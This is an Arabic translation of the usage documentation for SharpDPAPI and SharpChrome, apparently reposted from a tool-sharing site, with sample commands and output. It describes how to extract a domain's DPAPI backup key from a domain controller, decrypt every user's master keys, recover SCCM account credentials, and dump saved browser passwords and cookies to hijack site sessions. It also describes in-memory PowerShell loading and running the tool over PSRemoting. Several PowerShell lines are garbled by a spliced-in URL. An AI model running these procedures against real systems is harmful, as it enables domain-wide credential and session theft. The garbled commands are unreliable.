[*] استخدام مفتاح احتياطي لـ DPAPI للمجال لفرز المفاتيح الرئيسية لتعيينات مفاتيح فك التشفير!

[*] ذاكرة التخزين المؤقت للمفاتيح الرئيسية للمستخدم:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

سيقوم أمر backupkey باسترداد مفتاح احتياطي لـ DPAPI للمجال من وحدة تحكم المجال باستخدام أسلوب LsaRetrievePrivateData API من Mimikatz. يمكن استخدام هذا المفتاح الخاص بعد ذلك لفك تشفير blobs المفاتيح الرئيسية لأي مستخدم في المجال. والأفضل من ذلك، أن المفتاح لا يتغير أبدًا ;)

يلزم وجود صلاحيات مسؤول المجال (أو ما يعادله) لاسترداد المفتاح من وحدة تحكم المجال البعيدة.

سيمنع العلم /nowrap التفاف المفتاح base64 عند العرض.

يمكن فك تشفير blob المفتاح base64 هذا إلى ملف .pvk ثنائي يمكن استخدامه بعد ذلك مع وحدة Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk، أو استخدامه في شكل blob/file /pvk:X مع أوامر SharpDPAPI masterkeys أو credentials أو vault.

بشكل افتراضي، سيحاول SharpDPAPI تحديد وحدة تحكم المجال الحالية عبر استدعاء API DsGetDcName. يمكن تحديد خادم باستخدام /server:COMPUTER.domain.com. إذا كنت تريد حفظ المفتاح على القرص بدلاً من إخراجه كـ blob base64، فاستخدم /file:key.pvk.

استرداد مفتاح احتياطي لـ DPAPI لوحدة تحكم المجال الحالية:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] الإجراء: استرداد مفتاح احتياطي لـ DPAPI للمجال


[*] استخدام وحدة تحكم المجال الحالية  : PRIMARY.testlab.local
[*] المعرف المفضل للمفتاح الاحتياطي         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] الاسم الكامل للمفتاح الاحتياطي المفضل     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] المفتاح :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

استرداد مفتاح احتياطي لـ DPAPI لوحدة التحكم المحددة، مع إخراج المفتاح الاحتياطي إلى ملف:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] الإجراء: استرداد مفتاح احتياطي لـ DPAPI للمجال


[*] استخدام الخادم                     : primary.testlab.local
[*] المعرف المفضل للمفتاح الاحتياطي         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] الاسم الكامل للمفتاح الاحتياطي المفضل     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] تمت كتابة المفتاح الاحتياطي إلى            : key.pvk

search

سيقوم أمر search بالبحث عن blobs محتملة لـ DPAPI في السجل والملفات والمجلدات و blobs base64. الاستخدام:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
يعمل الأمر `search` عن طريق البحث عن البايتات التالية، التي تمثل الرأس (الإصدار + GUID موفر DPAPI) لهيكل كتلة DPAPI:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

الأمر search له وسائط مختلفة حسب نوع البيانات التي يتم مسحها. لتحديد نوع البيانات، استخدم الوسيطة /type مع تحديد registry أو folder أو file أو base64. إذا لم تكن الوسيطة /type موجودة، فسيقوم الأمر بالبحث في السجل (registry) افتراضيًا.

عند البحث في السجل بدون وسائط أخرى، سيقوم الأمر بالبحث بشكل متكرر في خلايا HKEY_LOCAL_MACHINE و HKEY_USERS. استخدم المعامل /path لتحديد جذر المفتاح الذي سيتم البحث منه (مثل /path:HKLM\Software) واستخدم الوسيطة /showErrors لعرض الأخطاء التي تحدث أثناء التعداد.

عند البحث في ملف أو مجلد، حدد مسارًا باستخدام /path:C:\Path\to\file\or\folder واختياريًا استخدم /maxBytes:<int> لتحديد عدد البايتات التي سيتم قراءتها من كل ملف (الافتراضي: 1024 بايت). سيقوم الأمر بقراءة البايتات من بداية الملف والبحث عن blobs DPAPI. استخدم /showErrors لعرض أي أخطاء تحدث أثناء التعداد.

عند البحث في blob base64، حدد البايتات المشفرة بـ base64 التي سيتم مسحها باستخدام المعامل /base64:<base64 str>.

SCCM

إذا كنت تعمل بصلاحيات مرتفعة على جهاز يعمل كعميل SCCM، وإذا كانت بيئة SCCM مهيأة بـ Network Access Account (NAA)، فيمكن استرداد blobs DPAPI المحمية بمفتاح النظام الرئيسي والتي تحتوي على بيانات اعتماد NAA عبر WMI؛ الأمر SCCM سيقوم بالاستعلام عن الـ blobs عبر WMI، واسترداد مفاتيح النظام الرئيسية، وفك تشفير الـ blobs.

أوامر SharpChrome

logins

الأمر logins سيبحث عن ملفات 'Login Data' في Chrome ويفك تشفير كلمات المرور المحفوظة لتسجيل الدخول. إذا كان التنفيذ في سياق غير مرتفع، فسيتم استخدام CryptProtectData() تلقائيًا لمحاولة فك تشفير القيم. إذا تم تحديد /browser:edge، فسيتم فحص متصفح Edge الجديد المستند إلى Chromium.

يمكن أيضًا فك تشفير ملفات Login Data باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

يمكن تحديد ملف Login Data محدد باستخدام /target:FILE. يمكن تحديد /server:SERVER إذا تم توفير /pvk أو /password أيضًا. إذا كنت تفحص إصدارات أحدث من Chrome/Edge، فيمكن تحديد مفتاح حالة AES /statekey:X.

افتراضيًا، يتم عرض معلومات تسجيل الدخول بتنسيق csv. يمكن تعديل ذلك باستخدام /format:table لإخراج جدول. أيضًا، افتراضيًا يتم عرض الإدخالات ذات قيم كلمة المرور غير الفارغة فقط، ولكن يمكن عرض جميع القيم باستخدام /showall.

إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص ملفات Login Data لجميع المستخدمين، وإلا فسيتم معالجة ملفات Login Data للمستخدم الحالي فقط.

cookies

الأمر cookies سيبحث عن ملفات 'Cookies' في Chromium ويفك تشفير قيم ملفات تعريف الارتباط. إذا كان التنفيذ في سياق غير مرتفع، فسيتم استخدام CryptProtectData() تلقائيًا لمحاولة فك تشفير القيم. يمكنك تغيير التطبيق المستهدف باستخدام /browser:<VALUE> (مثل edge، brave، slack).

يمكن أيضًا فك تشفير ملفات Cookies باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

يمكن تحديد ملف Cookies محدد باستخدام /target:FILE. يمكن تحديد /server:SERVER إذا تم توفير /pvk أو /password أيضًا. إذا كنت تفحص إصدارات أحدث من Chrome/Edge، فيمكن تحديد مفتاح حالة AES /statekey:X.

افتراضيًا، يتم عرض ملفات تعريف الارتباط بتنسيق csv. يمكن تعديل ذلك باستخدام /format:table لإخراج جدول، أو /format:json لإخراج يمكن استيراده بواسطة EditThisCookie. أيضًا، افتراضيًا يتم عرض الإدخالات ذات قيم ملفات تعريف الارتباط غير المنتهية فقط، ولكن يمكن عرض جميع القيم باستخدام /showall.

إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص ملفات Cookies لجميع المستخدمين، وإلا فسيتم معالجة ملفات Cookies للمستخدم الحالي فقط.

الأمر cookies يحتوي أيضًا على وسيطات /cookie:REGEX و /url:REGEX لإرجاع أسماء ملفات تعريف الارتباط أو عناوين URL المطابقة للتعبير النمطي المقدم. هذا مفيد مع /format:json لاستنساخ الوصول بسهولة إلى مواقع معينة.

statekeys

افتراضيًا، سيبحث الأمر statekeys عن التطبيقات المستندة إلى Chromium (Google Chrome و Edge و Brave و Slack)، ويحدد موقع ملفات مفاتيح الحالة AES الخاصة بها (مثل 'AppData\Local\Google\Chrome\User Data\Local State' و 'AppData\Local\Microsoft\Edge\User Data\Local State')، ويفك تشفيرها باستخدام نفس أنواع الوسائط التي يمكن تقديمها لأوامر cookies و logins. يمكنك أيضًا تقديم مسار ملف مفتاح حالة محدد باستخدام المعامل /target: (مثل "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

يمكن أيضًا فك تشفير مفاتيح الحالة باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص مفاتيح الحالة لجميع المستخدمين، وإلا فسيتم معالجة مفاتيح الحالة للمستخدم الحالي فقط.

backupkey

الأمر backupkey سيسترد مفتاح النسخ الاحتياطي لمجال DPAPI من وحدة تحكم مجال باستخدام نهج API LsaRetrievePrivateData من Mimikatz. يمكن بعد ذلك استخدام هذا المفتاح الخاص لفك تشفير blobs المفاتيح الرئيسية لأي مستخدم في المجال. والأفضل من ذلك، أن المفتاح لا يتغير أبدًا ;)

يلزم صلاحيات مسؤول المجال (أو ما يعادلها) لاسترداد المفتاح من وحدة تحكم مجال عن بُعد.

العلامة /nowrap ستمنع تغليف المفتاح base64 عند العرض.

يمكن فك تشفير blob المفتاح base64 هذا إلى ملف .pvk ثنائي يمكن استخدامه بعد ذلك مع وحدة dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk من Mimikatz، أو استخدامه في شكل blob/file /pvk:X مع أوامر masterkeys أو credentials أو vault من SharpDPAPI.

افتراضيًا، سيحاول SharpDPAPI تحديد وحدة التحكم بالمجال الحالية عبر استدعاء API DsGetDcName. يمكن تحديد خادم باستخدام /server:COMPUTER.domain.com. إذا كنت ترغب في حفظ المفتاح على القرص بدلاً من إخراجه كـ blob base64، فاستخدم /file:key.pvk.

تعليمات التجميع

لا نخطط لإصدار ملفات ثنائية لـ SharpDPAPI، لذا سيتعين عليك تجميعها بنفسك :)

تم بناء SharpDPAPI ضد .NET 3.5 وهو متوافق مع Visual Studio 2019 Community Edition. ببساطة افتح المشروع .sln، اختر "Release"، وقم بالتجميع.

استهداف إصدارات .NET أخرى

تكوين البناء الافتراضي لـ SharpDPAPI هو لـ .NET 3.5، والذي سيفشل على الأنظمة التي لا يوجد بها هذا الإصدار. لاستهداف SharpDPAPI لـ .NET 4 أو 4.5، افتح الحل .sln، واذهب إلى Project -> SharpDPAPI Properties وقم بتغيير "Target framework" إلى إصدار آخر.

ملاحظة جانبية: تشغيل SharpDPAPI عبر PowerShell

إذا كنت ترغب في تشغيل SharpDPAPI في الذاكرة عبر مغلف PowerShell، قم أولاً بتجميع SharpDPAPI وتشفير التجميع الناتج بـ base64:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

يمكن بعد ذلك تحميل SharpDPAPI في سكريبت PowerShell باستخدام ما يلي (حيث يتم استبدال "aa..." بسلسلة التجميع SharpDPAPI المشفرة بـ base64):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

يمكن بعد ذلك استدعاء الأسلوب Main() وأي وسائط كما يلي:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)

ملاحظة جانبية جانبية: تشغيل SharpDPAPI عبر PSRemoting

بسبب طريقة معالجة PSRemoting للإخراج، نحتاج إلى إعادة توجيه stdout إلى سلسلة وإرجاع ذلك بدلاً من ذلك. لحسن الحظ، يحتوي SharpDPAPI على وظيفة للمساعدة في ذلك.

إذا اتبعت التعليمات في ملاحظة جانبية: تشغيل SharpDPAPI عبر PowerShell لإنشاء SharpDPAPI.ps1، أضف شيئًا مثل ما يلي إلى السكريبت:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)

يجب أن تكون قادرًا بعد ذلك على تشغيل SharpDPAPI عبر PSRemoting باستخدام شيء مثل:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

بدلاً من ذلك، وسيطة SharpDPAPI /consoleoutfile:C:\FILE.txt ستعيد توجيه جميع تدفقات الإخراج إلى الملف المحدد.

تنزيل الأداة
credentials
{GUID}:SHA1
/mkfile:FILE
{GUID}:SHA1
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi